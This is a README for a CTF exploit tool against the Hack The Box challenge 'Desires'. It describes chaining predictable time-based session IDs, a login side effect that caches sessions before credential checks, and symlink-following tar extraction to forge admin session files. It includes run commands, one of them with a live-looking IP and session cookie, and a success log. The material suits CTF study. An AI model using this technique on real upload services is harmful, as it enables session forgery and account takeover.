For CTF/Lab use only.
This repository automates the exploitation chain for the Hack The Box challenge Desires.
It demonstrates a combination of:
- Predictable session IDs (SID =
sha256(unix_time_seconds))- Broken login logic (caches
username -> sidbefore verifying credentials)- CVE-2024-0406-style symlink extraction to write session files outside the intended path
- Tight time sync loop: uploads SIDs for
prev/now/nexteach tick (handles small clock drift) - Two symlink strategies:
- Absolute symlink (e.g.
/tmp/sessions/<user>) - Relative symlink (e.g.
../../../tmp/sessions/<user>)
- Absolute symlink (e.g.
- Configurable endpoints, form field name, tmp root, and JSON session payload
- Debugging helpers: optional TAR dump to disk so you can inspect the archive
- Verbose logging to understand each step
This PoC is strictly for educational use in HTB/CTF environments or systems you own or are authorized to test.
Do not run this against any real systems without explicit permission.
- Predictable SIDs
sessionID := sha256(str(int(time.time())))→ you can guess the valid SID for the current second. - Broken Login Logic
/logincallsPrepareSession(sessionID, username)before verifying the account/password, leaving a usable cache entry even if/loginreturns400. - Symlink Extraction (CVE-2024-0406 pattern)
The upload extractor follows symlinks. If your TAR contains a symlink that looks like a directory, subsequent files added under that “directory” are actually written at the symlink’s target (e.g. into/tmp/sessions/<user>/<sid>).
- Python 3.8+
requests(pip install requests)- An authenticated uploader account on the target (e.g.,
test) - The uploader’s valid cookies (
username=<uploader>; session=<hex>)
If you have the challenge Docker already:
# Build and run the challenge container (example)
docker build -t web-desires .
docker run -p 1337:1337 --rm --name web-desires -it web-desires- Register/login on
http://127.0.0.1:1337to get an uploader session (e.g., usertest). - Copy your browser cookies (look for
username=testandsession=<hex>). - Run the exploit:
python3 desires.py \
--base-url http://127.0.0.1:1337 \
--uploader-cookies "username=test; session=<valid_session_hex>" \
--target-user test \
--seconds 180 \
--tmp-root /tmp/sessions \
--dump-tar /tmp/poison.tarIf successful, you’ll see 200 on /user/admin and the admin page (flag) printed.
If the extractor rejects absolute symlinks, try relative:
python3 desires.py \
--base-url http://HOST:PORT \
--uploader-cookies "username=test; session=<valid>" \
--target-user test \
--seconds 240 \
--rel-link-ups 3
--rel-link-ups 3creates a symlink target like../../../tmp/sessions/<user>
If clocks differ, add an offset:
# Try skewing by -1 second
python3 desires.py ... --offset -1usage: desires.py --base-url URL --uploader-cookies "k=v; k2=v2" [options]
Required:
--base-url Base URL (e.g. http://127.0.0.1:1337)
--uploader-cookies Cookie string for the uploader user
e.g. "username=test; session=<valid_session_hex>"
Common:
--target-user NAME Target username to poison (default: test)
--seconds N How long to run the loop (default: 120)
--offset N SID time skew in seconds (default: 0)
Symlink target (choose one style):
--tmp-root PATH Root where session files live (default: /tmp/sessions)
--abs-link Use absolute symlink to <tmp-root>/<target-user>
--rel-link-ups N Use relative symlink: '../' * N + '<tmp-root>/<target-user>'
Endpoints & form field:
--field NAME Multipart form field for archive (default: archive)
--upload-endpoint PATH Upload route (default: /user/upload)
--login-endpoint PATH Login route (default: /login)
--admin-endpoint PATH Admin route (default: /user/admin)
Payload & debug:
--payload JSON Session file contents (default admin JSON)
--dump-tar PATH Save the generated TAR for inspection
- Compute SIDs for
prev/now/next(plus optional--offset) each tick. - Build TAR containing:
- a symlink entry (name
x) targeting/tmp/sessions/<target_user>(or relative variant) - three regular files:
x/<sid_prev>,x/<sid_now>,x/<sid_next>with the JSON payload
- a symlink entry (name
- Upload TAR once (writes all three SIDs on disk).
- Prime the cache with
/loginJSON ({"username": <target_user>, "password": "x"}); a400is expected. - Probe
/user/adminwith cookies{"username": <target_user>, "session": <sid>}for each SID;200means success.
In the official challenge build, writing under the real uploader user (e.g.
test) is the reliable path, because/tmp/sessions/test/exists.
-
I always get 500 on
/user/admin.- Ensure
--target-useris a real user with a sessions directory (the uploader itself is safest). - Confirm
--tmp-rootmatches the build (/tmp/sessionsvstmp/sessions). - Try
--offset -1or--offset 1. Increase--seconds.
- Ensure
-
Upload shows “illegal file path: ../..”
- You are likely using dot-dot filenames. This script does not use dot-dots; it uses a symlink directory.
- If absolute symlinks fail, switch to
--rel-link-ups 3.
-
/login returns 400
- That’s fine. We only need the side-effect (PrepareSession) which runs before credential checks.
-
I want to inspect the TAR
- Add
--dump-tar /tmp/poison.tarand open it withtar -tvf /tmp/poison.tar.
- Add
Successful local run:
[i] GET / -> 200
[i] Using tmp root: '/tmp/sessions' (final link will be /tmp/sessions/test/<sid>)
[+] Running synchronized loop for 180s (same-name symlink)…
[UP] prev cd3d1074b2f8 -> 202 :: {"message":"Archive uploaded and extracted successfully"}
…
[PRIME] /login -> 400
[CHK] cd3d1074b2f8 -> 200
[+] GOT IT! Response body follows:
<!DOCTYPE html> … HTB{REDACTED}
python desires.py --base-url http://83.136.254.84:49416 \
--uploader-cookies "username=test; session=b2c4c78a84d8f9b114d8eba04376c1d8e8ac5696762a66624d269ee9ec08db2a" \
--target-user test \
--seconds 120 \
--tmp-root tmp/sessions \
--dump-tar /tmp/poison.tar \
--rel-link-ups 5
.
├─ desires.py # exploit driver (with detailed comments)
├─ README.md # this file
└─ requirements.txt (optional: requests)
If you track the Docker challenge locally, you can add its files here as well.
- CVE-2024-0406 research and public PoCs inspiring the symlink extraction technique
- HTB for the Desires challenge & provided source
MIT (or your preferred open-source license).